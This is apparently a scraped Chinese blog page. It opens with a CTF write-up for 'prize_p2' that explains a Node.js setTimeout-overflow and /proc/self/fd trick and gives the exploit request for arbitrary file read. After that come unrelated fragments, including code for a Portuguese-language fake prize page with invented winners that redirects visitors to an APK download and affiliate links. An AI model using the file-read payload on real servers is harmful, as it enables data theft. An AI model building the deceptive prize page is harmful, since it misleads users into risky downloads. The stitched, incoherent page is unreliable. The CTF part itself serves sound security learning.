prize_p2

题目

const { randomBytes } = require('crypto');
const express = require('express');
const fs = require('fs');
const fp = '/app/src/flag.txt';
const app = express();
const flag = Buffer(255);
const a = fs.open(fp, 'r', (err, fd) => {
    fs.read(fd, flag, 0, 44, 0, () => {
        fs.rm(fp, () => {});
    });
});

app.get('/', function (req, res) {
    res.set('Content-Type', 'text/javascript;charset=utf-8');
    res.send(fs.readFileSync(__filename));
});

app.get('/hint', function (req, res) {
    res.send(flag.toString().slice(0, randomBytes(1)[0]%32));
})

// 随机数预测或者一天之后
app.get('/getflag', function (req, res) {
    res.set('Content-Type', 'text/javascript;charset=utf-8');
    try {
        let a = req.query.a;
        if (a === randomBytes(3).toString()) {
            res.send(fs.readFileSync(req.query.b));
        } else {
            const t = setTimeout(() => {
                res.send(fs.readFileSync(req.query.b));
            }, parseInt(req.query.c)?Math.max(86400*1000, parseInt(req.query.c)):86400*1000);
        }
    } catch {
        res.send('?');
    }
})

app.listen(80, '0.0.0.0', () => {
    console.log('Start listening')
});

思路

setTimeout()的两个特性,函数可控实现rce,此处为任意文件读,第二个特性是使用int32存储延时参数值,超过2^31-1延时则为0。

fs.open()打开了会存储在里,为进程文件打开的情况,通过爆破id可以getflag。/app/src/flag.txt/proc/self/fd/id

经验

/getflag?b=/proc/self/fd/18&c=2147483648

// 资源预加载 const imageUrls = [ './img/logo.svg', './img/pgOct.png', './img/coupon.png', './img/money.png', './img/play.png', './img/exquisite.png', './img/bg.png', './img/roleta.gif' ]; // 预加载所有图片 function preloadImages(urls,callback) { let loadedCount = 0; const total = urls.length; if (total === 0) { callback(); return; } urls.forEach(url => { const img = new Image(); img.onload = img.onerror = () => { loadedCount++; if (loadedCount === total) { callback(); } }; img.src = url; }); } // 初始化函数 function initApp() { // 初始化背景粒子 initParticleBackground(); // 初始化主应用逻辑 initMainApp(); } // 初始化粒子背景 function initParticleBackground() { const canvas = document.getElementById('particle-background'); const ctx = canvas.getContext('2d'); function resizeCanvas() { canvas.width = window.innerWidth; canvas.height = window.innerHeight; } window.addEventListener('resize',resizeCanvas); resizeCanvas(); // 生成粒子数组 const particlesArr = []; const particleCount = 100; for (let i = 0; i < particleCount; i++) { particlesArr.push({ x: Math.random() * window.innerWidth, y: Math.random() * window.innerHeight, radius: Math.random() * 2 + 1, vx: (Math.random() - 0.5) * 0.7, vy: (Math.random() - 0.5) * 0.7 }); } function animateParticles() { ctx.clearRect(0,0,canvas.width,canvas.height); // 绘制粒子 particlesArr.forEach(p => { p.x += p.vx; p.y += p.vy; // 边界反弹 if (p.x < 0 || p.x > canvas.width) p.vx *= -1; if (p.y < 0 || p.y > canvas.height) p.vy *= -1; ctx.beginPath(); ctx.arc(p.x,p.y,p.radius,0,Math.PI * 2); ctx.fillStyle = 'rgba(255, 255, 255, 0.3)'; ctx.fill(); }); // 绘制连线 for (let i = 0; i < particlesArr.length; i++) { for (let j = i + 1; j < particlesArr.length; j++) { const p1 = particlesArr[i]; const p2 = particlesArr[j]; const dx = p1.x - p2.x; const dy = p1.y - p2.y; const dist = Math.sqrt(dx * dx + dy * dy); if (dist < 100) { ctx.strokeStyle = `rgba(255, 255, 255, ${(100 - dist) / 100 * 0.2})`; ctx.lineWidth = 1; ctx.beginPath(); ctx.moveTo(p1.x,p1.y); ctx.lineTo(p2.x,p2.y); ctx.stroke(); } } } requestAnimationFrame(animateParticles); } animateParticles(); } // 主应用逻辑 function initMainApp() { const particlesContainer = document.getElementById('particles'); const tensDigit = document.getElementById('tens-digit'); const onesDigit = document.getElementById('ones-digit'); const treasureBox = document.getElementById('treasureBox'); const prize = document.getElementById('prize'); const prizeModal = document.getElementById('prizeModal'); const modalPrize = document.getElementById('modalPrize'); const countdown = document.getElementById('countdown'); const winnersList = document.getElementById('winnersList'); // 配置跳转链接 const urlArr = [ 'https://img.blessx.com/static/apk/Probet_adx01.apk', 'https://offer.alibaba.com/cps/14i5a7rj?bm=cps&src=saf', 'https://s.click.aliexpress.com/e/_c3m8K90X?bz=300*250', 'https://app.appsflyer.com/com.alibaba.wireless?pid=feeltapmedia&af_siteid=dsp_01&c=dsp_br_01&af_sub_siteid={sub4}&af_c_id=202510231517001&af_ad=1688_banner_01&af_ad_id=uu112&af_adset={bundle}&af_adset_id=3453453&af_ad_type=banner&af_channel=901&af_cost_currency=USD&af_cost_model=cpi&af_cost_value=0.1&af_click_lookback=7d&af_prt=feeltapmedia&af_media_type=banner&is_retargeting=true&af_reengagement_window=30d' ]; // 奖品列表 const prizes = [ { type: "coupon",name: "💰 Cupom de R $30",value: "💰 Cupom de R $30" }, { type: "coupon",name: "💰 Cupom de R $50元",value: "💰 Cupom de R $50" }, { type: "coupon",name: "💰 Cupom de R $100",value: "💰 Cupom de R $100" }, { type: "coupon",name: "💰 Cupom de R $500",value: "💰 Cupom de R $500" }, { type: "coupon",name: "💰 Cupom de R 1000",value: "💰 Cupom de R $1000" }, { type: "discount",name: "🎟️ 20% OFF",value: "🎟️ 20% OFF" }, { type: "discount",name: "🎟️ 30% OFF",value: "🎟️ 30% OFF" }, { type: "discount",name: "🎟️ 40% OFF",value: "🎟️ 40% OFF" }, { type: "discount",name: "🎟️ 50% OFF",value: "🎟️ 50% OFF" }, { type: "discount",name: "🧰 Tesouro do amigo!",value: "🧰 Tesouro do amigo!" }, { type: "gift",name: "🎁 Surpresa especial!",value: "🎁 Surpresa especial!" } ]; let isOpened = false; let countdowns = 30; let countdownInterval; let isRunning = false; let isOneClick = 0 // 从localStorage恢复倒计时状态 if (localStorage.getItem('downsTime') && localStorage.getItem('downsTime') > 0) { countdowns = parseInt(localStorage.getItem('downsTime')); document.querySelector(".countdown-container").style.display = 'flex'; startCountdown(); isOpened = true; isRunning = true; treasureBox.classList.add('disabled'); } else { document.querySelector(".countdown-container").style.display = 'none'; countdowns = 30; } // 宝箱点击事件 treasureBox.addEventListener('click',function() { if (isOpened) return; isOneClick++ countdowns = 30; tensDigit.style.animation = ''; onesDigit.style.animation = ''; document.querySelector(".countdown-container").style.display = 'flex'; isOpened = true; treasureBox.classList.add('disabled'); startCountdown(); // 随机选择一个奖品 const randomPrize = prizes[Math.floor(Math.random() * prizes.length)]; document.querySelector('.treasure-base').classList.add('open'); // 更新奖品显示 prize.textContent = randomPrize.value; prize.className = `prize ${randomPrize.type}`; // 显示奖品弹出动画 setTimeout(() => { prize.classList.add('show'); document.querySelector('.treasure-container').style.zIndex = 1 createConfetti(); setTimeout(() => { document.querySelector(".pointerImg").style.display = "block"; },500); },800); // 显示弹窗 setTimeout(() => { modalPrize.textContent = randomPrize.name; prizeModal.style.display = 'flex'; // 开始倒计时 let seconds = 2; countdown.textContent = `Página redirecionará em ${seconds} segundos...`; const modalCountdownInterval = setInterval(() => { seconds--; if (seconds > 0) { countdown.textContent = `Página redirecionará em ${seconds} segundos...`; } else { clearInterval(modalCountdownInterval); prizeModal.style.display = 'none'; document.querySelector(".pointerImg").style.display = "none"; // 跳转到指定链接 const randomHref = urlArr[Math.floor(Math.random() * urlArr.length)]; // 跳转到指定链接 window.location.href = isOneClick == 1 ? urlArr[0] : randomHref; } },1000); },1500); }); // 中奖名单数据 const winners = [ { name: "Lucas**",prize: "🎁",time: "recebeu um presente incrível há 1 minuto!" }, { name: "Mariana**",prize: "💸",time: "ganhou um bônus de 50 reais há 5 minutos!" }, { name: "Rafael**",prize: "📱",time: "ganhou um iPhone 14 há 10 minutos!" }, { name: "Camila**",prize: "🕹️",time: "recebeu itens de jogo incríveis há 23 minutos!" }, { name: "Gustavo**",prize: "🏆",time: "ganhou um prêmio de 1000 dólares há 38 minutos!" }, { name: "Gabriel**",prize: "💸",time: "ganhou um bônus de 100 reais há 44 minutos!" }, { name: "Marco**",prize: "🕹️",time: "recebeu itens de jogo incríveis há 56 minutos!" }, { name: "João**",prize: "🎁",time: "recebeu um presente incrível há 1 hora!" } ]; initWinnersList(); // 初始化中奖名单 function initWinnersList() { winnersList.innerHTML = ''; const container = document.createElement('div'); container.className = 'winner-items-container'; // 复制一份中奖名单,以实现更平滑的循环 const extendedWinners = [...winners,...winners]; extendedWinners.forEach(winner => { const winnerItem = document.createElement('div'); winnerItem.className = 'winner-item'; winnerItem.innerHTML = ` <div class="winner-prize">${winner.prize}</div> <div class="winner-name">${winner.name}</div> <div class="winner-time">${winner.time}</div> `; container.appendChild(winnerItem); }); winnersList.appendChild(container); } // 创建五彩纸屑效果 function createConfetti() { const colors = ['#ff0000','#00ff00','#0000ff','#ffff00','#ff00ff','#00ffff']; const container = document.querySelector('.treasure-container'); for (let i = 0; i < 100; i++) { const confetti = document.createElement('div'); confetti.className = 'confetti'; // 随机颜色 const color = colors[Math.floor(Math.random() * colors.length)]; confetti.style.backgroundColor = color; // 随机位置 const startX = Math.random() * 200 - 100 + treasureBox.offsetLeft + treasureBox.offsetWidth / 2; const startY = treasureBox.offsetTop + 200; confetti.style.left = startX + 'px'; confetti.style.top = startY + 'px'; container.appendChild(confetti); // 随机动画参数 const angle = Math.random() * Math.PI * 2; const velocity = 2 + Math.random() * 3; const rotation = Math.random() * 720 - 360; const size = 5 + Math.random() * 10; confetti.style.width = size + 'px'; confetti.style.height = size + 'px'; // 动画 const animation = confetti.animate([ { transform: `translate(0, 0) rotate(0deg)`, opacity: 1 }, { transform: `translate(${Math.cos(angle) * 100}px, -${150 + Math.random() * 200}px) rotate(${rotation}deg)`, opacity: 0 } ],{ duration: 1000 + Math.random() * 1000, easing: 'cubic-bezier(0.1, 0.8, 0.2, 1)' }); // 动画结束后移除元素 animation.onfinish = () => { confetti.remove(); }; } } // 创建粒子效果 function createParticles(x,y,count = 10) { for (let i = 0; i < count; i++) { const particle = document.createElement('div'); particle.classList.add('particle'); // 随机位置 const offsetX = (Math.random() - 0.5) * 100; const offsetY = (Math.random() - 0.5) * 100; particle.style.left = `${x + offsetX}px`; particle.style.top = `${y + offsetY}px`; // 随机动画参数 const size = Math.random() * 3 + 1; const duration = Math.random() * 1 + 0.5; const delay = Math.random() * 0.5; particle.style.width = `${size}px`; particle.style.height = `${size}px`; particle.style.animation = `particleFloat ${duration}s ease-out ${delay}s forwards`; // 添加到容器 particlesContainer.appendChild(particle); // 移除粒子 setTimeout(() => { particle.remove(); },(duration + delay) * 1000); } } // 添加粒子浮动动画 const styleSheet = document.styleSheets[0]; styleSheet.insertRule(` @keyframes particleFloat { 0% { transform: translate(0, 0); opacity: 1; } 100% { transform: translate(${Math.random() * 100 - 50}px, ${Math.random() * -100 - 50}px); opacity: 0; } } `,styleSheet.cssRules.length); // 更新数字显示 function updateDisplay() { const tens = Math.floor(countdowns / 10); const ones = countdowns % 10; // 添加翻转动画 if (tensDigit.textContent !== tens.toString()) { tensDigit.classList.remove('flip'); void tensDigit.offsetWidth; // 触发重排 tensDigit.classList.add('flip'); tensDigit.textContent = tens; // 在十位数变化时添加粒子效果 const rect = tensDigit.getBoundingClientRect(); createParticles(rect.left + rect.width / 2,rect.top + rect.height / 2,15); } if (onesDigit.textContent !== ones.toString()) { onesDigit.classList.remove('flip'); void onesDigit.offsetWidth; // 触发重排 onesDigit.classList.add('flip'); onesDigit.textContent = ones; // 在个位数变化时添加粒子效果 const rect = onesDigit.getBoundingClientRect(); createParticles(rect.left + rect.width / 2,rect.top + rect.height / 2,15); } } // 开始倒计时 function startCountdown() { if (isRunning) return; isRunning = true; countdownInterval = setInterval(() => { countdowns--; localStorage.setItem('downsTime',countdowns); updateDisplay(); isOpened = true; if (countdowns <= 1) { clearInterval(countdownInterval); isOpened = false; isRunning = false; // 倒计时结束效果 tensDigit.style.animation = 'pulse 0.5s infinite'; onesDigit.style.animation = 'pulse 0.5s infinite'; // 创建大量粒子 for (let i = 0; i < 50; i++) { setTimeout(() => { const rect1 = tensDigit.getBoundingClientRect(); const rect2 = onesDigit.getBoundingClientRect(); createParticles(rect1.left + rect1.width / 2,rect1.top + rect1.height / 2,5); createParticles(rect2.left + rect2.width / 2,rect2.top + rect2.height / 2,5); },i * 50); } setTimeout(() => { prize.classList.remove('show'); document.querySelector('.treasure-container').style.zIndex = 0 document.querySelector('.treasure-base').classList.remove('open'); isOpened = false; isRunning = false; treasureBox.classList.remove('disabled'); document.querySelector(".countdown-container").style.display = 'none'; localStorage.setItem('downsTime',0); tensDigit.innerHTML = '3'; onesDigit.innerHTML = '0'; },1000); } },1000); } } // 预加载图片后初始化应用 preloadImages(imageUrls,initApp);将这段代码中的巴西语翻译成繁体字
10-29
<!DOCTYPE html> <html lang="zh-CN"> <head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>Treasure</title> <link rel="stylesheet" href="./baoxiangimg/treasure.css"> </head> <body> <header class="headerImg"> <img src="./baoxiangimg/logo.svg" alt="logo"> </header> <div class="pgOct"> <img src="./baoxiangimg/pgOct.png" alt="pgOct"> </div> <canvas id="particle-background"></canvas> <!-- 动态背景元素 --> <div class="bg-element bg-element-1"></div> <div class="bg-element bg-element-2"></div> <div class="bg-element bg-element-4"></div> <div class="container"> <div class="treasure-container"> <div class="treasure-box" id="treasureBox"> <div class="treasure-base"></div> <div class="prize coupon" id="prize">¥50</div> </div> </div> <div class="countdown-container"> <h6>Contagem regressiva:</h6> <div class="digit-container"> <div class="digit" id="tens-digit">3</div> </div> <div class="digit-container"> <div class="digit" id="ones-digit">0</div> </div> </div> <div class="prize-list"> <div class="prize-item"> <img src="./baoxiangimg/coupon.png" /> <h3>🎟️ Pegue seu<br />cupom agora!</h3> </div> <div class="prize-item"> <img src="./baoxiangimg/money.png" /> <h3>💰 Ganhe recompensas<br />em dinheiro!</h3> </div> <div class=" prize-item"> <img src="./baoxiangimg/play.png" /> <h3>🎁 Receba prêmios<br />incríveis!</h3> </div> <div class="prize-item"> <img src="./baoxiangimg/exquisite.png" /> <h3>🧰 Abra o baú do<br /> seu amigo!</h3> </div> </div> <div class="particles" id="particles"></div> </div> <div class="winners-container"> <h2 class="winners-title">🎉 Lista de vencedores 🎉</h2> <div class="winners-list" id="winnersList"> <!-- 中奖名单将通过JavaScript动态生成 --> </div> </div> <div class="modal" id="prizeModal"> <div class="modal-content"> <h2>Congratulations!</h2> <p>Você ganhou o prêmio listado:</p> <div class="modal-prize" id="modalPrize">Cupom de R $50</div> <p>Prêmio enviado para sua conta. Confira!</p> <div class="countdown" id="countdown">Página redirecionará em 2 segundos...</div> </div><img class="pointerImg" src="bg.png"> </div> <script> // 初始化背景粒子 const canvas1 = document.getElementById('particle-background'); const ctxs = canvas1.getContext('2d'); function resizeCanvas() { canvas1.width = window.innerWidth; canvas1.height = window.innerHeight; } window.addEventListener('resize',resizeCanvas); resizeCanvas(); // 动画函数 // 生成粒子数组 const particlesArr = []; const particleCount = 100; for (let i = 0; i < particleCount; i++) { particlesArr.push({ x: Math.random() * window.innerWidth, y: Math.random() * window.innerHeight, radius: Math.random() * 2 + 1, vx: (Math.random() - 0.5) * 0.7, vy: (Math.random() - 0.5) * 0.7 }); } function animateParticles() { ctxs.clearRect(0,0,canvas1.width,canvas1.height); particlesArr.forEach(p => { p.x += p.vx; p.y += p.vy; if (p.x < 0 || p.x > canvas1.width) p.vx *= -1; if (p.y < 0 || p.y > canvas1.height) p.vy *= -1; ctxs.beginPath(); ctxs.arc(p.x,p.y,p.radius,0,Math.PI * 2); ctxs.fillStyle = 'rgba(255, 255, 255, 0.3)'; ctxs.fill(); }); for (let i = 0; i < particlesArr.length; i++) { for (let j = i + 1; j < particlesArr.length; j++) { const p1 = particlesArr[i]; const p2 = particlesArr[j]; const dx = p1.x - p2.x; const dy = p1.y - p2.y; const dist = Math.sqrt(dx * dx + dy * dy); if (dist < 100) { ctxs.strokeStyle = `rgba(255, 255, 255, ${(100 - dist) / 100 * 0.2})`; ctxs.lineWidth = 1; ctxs.beginPath(); ctxs.moveTo(p1.x,p1.y); ctxs.lineTo(p2.x,p2.y); ctxs.stroke(); } } } requestAnimationFrame(animateParticles); } animateParticles(); document.addEventListener('DOMContentLoaded',function() { const particlesContainer = document.getElementById('particles'); const tensDigit = document.getElementById('tens-digit'); const onesDigit = document.getElementById('ones-digit'); const treasureBox = document.getElementById('treasureBox'); const prize = document.getElementById('prize'); const prizeModal = document.getElementById('prizeModal'); const modalPrize = document.getElementById('modalPrize'); const countdown = document.getElementById('countdown'); const winnersList = document.getElementById('winnersList'); // 配置跳转链接 const redirectUrl = "https://www.baidu.com"; // 修改为您需要跳转的链接 // 奖品列表 const prizes = [ { type: "coupon",name: "💰 Cupom de R $30",value: "💰 Cupom de R $30" }, { type: "coupon",name: "💰 Cupom de R $50元",value: "💰 Cupom de R $50" }, { type: "coupon",name: "💰 Cupom de R $100",value: "💰 Cupom de R $100" }, { type: "coupon",name: "💰 Cupom de R $500",value: "💰 Cupom de R $500" }, { type: "coupon",name: "💰 Cupom de R 1000",value: "💰 Cupom de R $1000" }, { type: "discount",name: "🎟️ 20% OFF",value: "🎟️ 20% OFF" }, { type: "discount",name: "🎟️ 30% OFF",value: "🎟️ 30% OFF" }, { type: "discount",name: "🎟️ 40% OFF",value: "🎟️ 40% OFF" }, { type: "discount",name: "🎟️ 50% OFF",value: "🎟️ 50% OFF" }, { type: "discount",name: "🧰 Tesouro do amigo!",value: "🧰 Tesouro do amigo!" }, { type: "gift",name: "🎁 Surpresa especial!",value: "🎁 Surpresa especial!" } ]; let isOpened = false; let countdowns = 30; let countdownInterval; let isRunning = false; if (localStorage.getItem('downsTime') && localStorage.getItem('downsTime') > 0) { countdowns = localStorage.getItem('downsTime') document.querySelector(".countdown-container").style.display = 'flex' startCountdown() isOpened = true; isRunning = true; } else { document.querySelector(".countdown-container").style.display = 'none' countdowns = 30 } treasureBox.addEventListener('click',function() { if (isOpened) return; countdowns = 30 tensDigit.style.animation = ''; onesDigit.style.animation = ''; document.querySelector(".countdown-container").style.display = 'flex' isOpened = true; startCountdown() // 随机选择一个奖品 const randomPrize = prizes[Math.floor(Math.random() * prizes.length)]; document.querySelector('.treasure-base').classList.add('open') // 更新奖品显示 prize.textContent = randomPrize.value; prize.className = `prize ${randomPrize.type}`; // 显示奖品弹出动画 // 创建粒子效果 setTimeout(() => { prize.classList.add('show'); createConfetti(); setTimeout(() => { document.querySelector(".pointerImg").style.display = "block" },300) },800); // 显示弹窗 setTimeout(() => { modalPrize.textContent = randomPrize.name; prizeModal.style.display = 'flex'; // 开始倒计时 let seconds = 2; countdown.textContent = `Página redirecionará em ${seconds} segundos...`; const countdownInterval = setInterval(() => { seconds--; if (seconds > 0) { countdown.textContent = `Página redirecionará em ${seconds} segundos...`; } else { clearInterval(countdownInterval); prizeModal.style.display = 'none'; // 跳转到指定链接 // window.location.href = redirectUrl; } },1000); },1500); }); // 中奖名单数据 const winners = [ { name: "Lucas**",prize: "🎁",time: "recebeu um presente incrível há 1 minuto!" }, { name: "Mariana**",prize: "💸",time: "ganhou um bônus de 50 reais há 5 minutos!" }, { name: "Rafael**",prize: "📱",time: "ganhou um iPhone 14 há 10 minutos!" }, { name: "Camila**",prize: "🕹️",time: "recebeu itens de jogo incríveis há 23 minutos!" }, { name: "Gustavo**",prize: "🏆",time: "ganhou um prêmio de 1000 dólares há 38 minutos!" }, { name: "Gabriel**",prize: "💸",time: "ganhou um bônus de 100 reais há 44 minutos!" }, { name: "Marco**",prize: "🕹️",time: "recebeu itens de jogo incríveis há 56 minutos!" }, { name: "João**",prize: "🎁",time: "recebeu um presente incrível há 1 hora!" } ]; initWinnersList(); // 初始化中奖名单 function initWinnersList() { winnersList.innerHTML = ''; const container = document.createElement('div'); container.className = 'winner-items-container'; // 复制一份中奖名单,以实现更平滑的循环 const extendedWinners = [...winners,...winners]; extendedWinners.forEach(winner => { const winnerItem = document.createElement('div'); winnerItem.className = 'winner-item'; winnerItem.innerHTML = ` <div class="winner-prize">${winner.prize}</div> <div class="winner-name">${winner.name}</div> <div class="winner-time">${winner.time}</div> `; container.appendChild(winnerItem); }); winnersList.appendChild(container); } function createConfetti() { const colors = ['#ff0000','#00ff00','#0000ff','#ffff00','#ff00ff','#00ffff']; const container = document.querySelector('.treasure-container'); for (let i = 0; i < 100; i++) { const confetti = document.createElement('div'); confetti.className = 'confetti'; // 随机颜色 const color = colors[Math.floor(Math.random() * colors.length)]; confetti.style.backgroundColor = color; // 随机位置 const startX = Math.random() * 200 - 100 + treasureBox.offsetLeft + treasureBox.offsetWidth / 2; const startY = treasureBox.offsetTop + 200; confetti.style.left = startX + 'px'; confetti.style.top = startY + 'px'; container.appendChild(confetti); // 随机动画参数 const angle = Math.random() * Math.PI * 2; const velocity = 2 + Math.random() * 3; const rotation = Math.random() * 720 - 360; const size = 5 + Math.random() * 10; confetti.style.width = size + 'px'; confetti.style.height = size + 'px'; // 动画 const animation = confetti.animate([ { transform: `translate(0, 0) rotate(0deg)`, opacity: 1 }, { transform: `translate(${Math.cos(angle) * 100}px, -${150 + Math.random() * 200}px) rotate(${rotation}deg)`, opacity: 0 } ],{ duration: 1000 + Math.random() * 1000, easing: 'cubic-bezier(0.1, 0.8, 0.2, 1)' }); // 动画结束后移除元素 animation.onfinish = () => { confetti.remove(); }; } } // 创建粒子效果 function createParticles(x,y,count = 10) { for (let i = 0; i < count; i++) { const particle = document.createElement('div'); particle.classList.add('particle'); // 随机位置 const offsetX = (Math.random() - 0.5) * 100; const offsetY = (Math.random() - 0.5) * 100; particle.style.left = `${x + offsetX}px`; particle.style.top = `${y + offsetY}px`; // 随机动画参数 const size = Math.random() * 3 + 1; const duration = Math.random() * 1 + 0.5; const delay = Math.random() * 0.5; particle.style.width = `${size}px`; particle.style.height = `${size}px`; particle.style.animation = `particleFloat ${duration}s ease-out ${delay}s forwards`; // 添加到容器 particlesContainer.appendChild(particle); // 移除粒子 setTimeout(() => { particle.remove(); },(duration + delay) * 1000); } } // 添加粒子浮动动画 const styleSheet = document.styleSheets[0]; styleSheet.insertRule(` @keyframes particleFloat { 0% { transform: translate(0, 0); opacity: 1; } 100% { transform: translate(${Math.random() * 100 - 50}px, ${Math.random() * -100 - 50}px); opacity: 0; } } `,styleSheet.cssRules.length); // 更新数字显示 function updateDisplay() { const tens = Math.floor(countdowns / 10); const ones = countdowns % 10; // 添加翻转动画 if (tensDigit.textContent !== tens.toString()) { tensDigit.classList.remove('flip'); void tensDigit.offsetWidth; // 触发重排 tensDigit.classList.add('flip'); tensDigit.textContent = tens; // 在十位数变化时添加粒子效果 const rect = tensDigit.getBoundingClientRect(); createParticles(rect.left + rect.width / 2,rect.top + rect.height / 2,15); } if (onesDigit.textContent !== ones.toString()) { onesDigit.classList.remove('flip'); void onesDigit.offsetWidth; // 触发重排 onesDigit.classList.add('flip'); onesDigit.textContent = ones; // 在个位数变化时添加粒子效果 const rect = onesDigit.getBoundingClientRect(); createParticles(rect.left + rect.width / 2,rect.top + rect.height / 2,15); } } // 开始倒计时 function startCountdown() { if (isRunning) return; isRunning = true; countdownInterval = setInterval(() => { countdowns--; localStorage.setItem('downsTime',countdowns); updateDisplay(); isOpened = true; if (countdowns <= 1) { clearInterval(countdownInterval); isOpened = false; isRunning = false; // 倒计时结束效果 tensDigit.style.animation = 'pulse 0.5s infinite'; onesDigit.style.animation = 'pulse 0.5s infinite'; // 创建大量粒子 for (let i = 0; i < 50; i++) { setTimeout(() => { const rect1 = tensDigit.getBoundingClientRect(); const rect2 = onesDigit.getBoundingClientRect(); createParticles(rect1.left + rect1.width / 2,rect1.top + rect1.height / 2,5); createParticles(rect2.left + rect2.width / 2,rect2.top + rect2.height / 2,5); },i * 50); } setTimeout(() => { prize.classList.remove('show'); document.querySelector('.treasure-base').classList.remove('open') isOpened = false; isRunning = false; document.querySelector(".countdown-container").style.display = 'none' localStorage.setItem('downsTime',0); tensDigit.innerHTML = '3' onesDigit.innerHTML = '0' },1000) } },1000); } }); </script> </body> </html>当前代码如何优化
10-24
基于可靠性评估序贯蒙特卡洛模拟法的配电网可靠性评估研究(Matlab代码实现)内容概要:本文围绕“基于可靠性评估序贯蒙特卡洛模拟法的配电网可靠性评估研究”,介绍了利用Matlab代码实现配电网可靠性的仿真分析方法。重点采用序贯蒙特卡洛模拟法对配电网进行长时间段的状态抽样与统计,通过模拟系统元件的故障与修复过程,评估配电网的关键可靠性指标,如系统停电频率、停电持续时间、负荷点可靠性等。该方法能够有效处理复杂网络结构与设备时序特性,提升评估精度,适用于含分布式电源、电动汽车等新型负荷接入的现代配电网。文中提供了完整的Matlab实现代码与案例分析,便于复现和扩展应用。; 适合人群:具备电力系统基础知识和Matlab编程能力的高校研究生、科研人员及电力行业技术人员,尤其适合从事配电网规划、运行与可靠性分析相关工作的人员; 使用场景及目标:①掌握序贯蒙特卡洛模拟法在电力系统可靠性评估中的基本原理与实现流程;②学习如何通过Matlab构建配电网仿真模型并进行状态转移模拟;③应用于含新能源接入的复杂配电网可靠性定量评估与优化设计; 阅读建议:建议结合文中提供的Matlab代码逐段调试运行,理解状态抽样、故障判断、修复逻辑及指标统计的具体实现方式,同时可扩展至不同网络结构或加入更多不确定性因素进行深化研究。
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
红包 添加红包
表情包 插入表情
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值